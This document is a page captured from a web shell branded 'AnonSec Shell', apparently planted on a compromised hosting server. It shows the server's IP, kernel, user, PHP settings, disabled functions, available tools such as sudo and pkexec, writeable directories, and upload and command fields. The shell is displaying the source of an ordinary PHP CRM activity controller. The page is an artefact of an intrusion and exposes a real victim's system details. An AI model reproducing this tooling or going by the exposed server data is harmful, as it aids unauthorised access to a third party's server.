AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leve/application/plugins/module_crm/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leve/application/plugins/module_crm/controllers/ActivityController.php
<?php

include_once "Controller.php";
include_once __DIR__ . "/../models/BusinessModel.php";
include_once __DIR__ . "/../models/BusinessActivityModel.php";
include_once __DIR__ . "/../models/BusinessActivityContactsModel.php";
include_once __DIR__ . "/../models/BusinessActivityCompaniesModel.php";

class ActivityController extends Controller
{
    /**
     * @var ID Business
     */
    protected $id;

    /**
     * @var BusinessModel
     */
    protected $model;

    /**
     * @var BusinessActivityModel
     */
    protected $modelActivity;

    /**
     * @var BusinessActivityContactsModel
     */
    protected $modelActivityContacts;

    /**
     * @var BusinessActivityCompaniesModel
     */
    protected $modelActivityCompanies;

    /**
     * @var BusinessActivityBusinessModel
     */
    protected $modelActivityBusiness;

    /**
     * @param $ui
     * @param array $_L
     * @param array $config
     * @param $_pd
     */
    public function __construct($ui, $_L, $config, $_pd)
    {
        parent::__construct($ui, $_L, $config, $_pd);
        $this->ui->assign('_title', $this->_L['CRM_Module'] . ' - ' . $this->config['CompanyName']);

        $this->model                  = new BusinessModel();
        $this->modelActivity          = new BusinessActivityModel();
        $this->modelActivityContacts  = new BusinessActivityContactsModel();
        $this->modelActivityCompanies = new BusinessActivityCompaniesModel();
        $this->modelActivityBusiness  = new BusinessActivityBusinessModel();

        $this->id = $this->routes[3];
    }

    public function create()
    {
        $data = $_POST;

        $this->id = $this->routes[3];

        $data['business_id'] = $this->id;
        unset($data['id_business']);

        if ($data['date'] == '') {
            $data['date'] = NULL;
        } else {
            $especifica = new DateTime($data['date']);
            $data['date'] = $especifica->format('Y-m-d');
        }

        if ($data['account_id'] == '')
            $data['account_id'] = NULL;

        $data['status'] = (int) !empty($data['status']) && $data['status'] == 'on';
        $idActivity = $this->modelActivity->createActivity($data);

        foreach ($data['business_activity_id'] as $ba) {
            $data_business = array(
                'business_id'  => $ba,
                'activity_id' => $idActivity->id
            );

            $this->modelActivityBusiness->createActivityBusiness($data_business);
        }

//        die;

        foreach ($data['contacts_id'] as $c) {
            $data_contacts = array(
                'account_id'  => $c,
                'activity_id' => $idActivity->id
            );

            $this->modelActivityContacts->createActivityContacts($data_contacts);
        }

        foreach ($data['companies_id'] as $cia) {
            $data_companies = array(
                'company_id'  => $cia,
                'activity_id' => $idActivity->id
            );

            $this->modelActivityCompanies->createActivityCompany($data_companies);
        }

        $this->ui->assign('_st', $this->_L['CRM_Category_Save']);
        r2(U . 'module_crm/business/edit/' . $this->id, 's', $this->_L['CMS_Business_Save']);
    }

    public function delete()
    {
        $activity = $this->validateActivity();
        $this->model->deleteBusiness($activity);
        r2(U . 'module_crm/business/listBusiness', 's', $this->_L['CRM_Business_Delete']);
    }

    /**
     * @return ORM
     */
    protected function validateActivity()
    {
        $this->data = $_POST;
        if (empty($this->data['id']) || !is_numeric($this->data['id'])) {
            die($this->_L['Id_Required']);
        }

        $business = $this->model->getOne($this->data['id']);

        if (!$business) {
            die($this->_L['Not_Found']);
        }

        return $business;
    }
}

Anon7 - 2022
AnonSec Team